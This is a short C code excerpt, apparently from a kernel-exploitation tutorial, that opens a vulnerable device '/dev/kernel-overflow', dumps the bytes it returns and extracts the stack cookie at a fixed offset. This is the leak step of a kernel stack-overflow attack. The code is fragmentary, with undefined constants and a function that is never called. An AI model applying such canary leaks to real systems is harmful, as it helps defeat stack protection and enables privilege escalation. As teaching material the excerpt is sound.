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Interacting with Kernel Modules

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#define KERN_MODULE "/dev/kernel-overflow"
void main()
{
/*
* Interacting with this kernel module is easy
* just treat it like a file
*/
int fd;
unsigned long stack_cookie;
fd = open(KERN_MODULE, O_RDWR);
if (fd < 0) exit(-1);
close(fd);
}
unsigned long do_read(int fd)
{
int bytes_read;
unsigned long * buf = NULL;
unsigned long stack_cookie;
unsigned int cookie_offset = 16;
buf = malloc(BUF_SIZE);
if (buf == NULL) exit_and_log("Failed to malloc\n");
---
memset(buf, '\x00', BUF_SIZE);
bytes_read = read(fd, buf, BUF_SIZE);
/*
* For every 8 bytes read, print them
*/
for(int i =0; i <(BUF_SIZE / WORD_SIZE);i++)
{
printf("buf + 0x%X\t: %lX\n",i*WORD_SIZE, buf[i]);
}
stack_cookie = buf[cookie_offset];
free(buf);
return stack_cookie;
}
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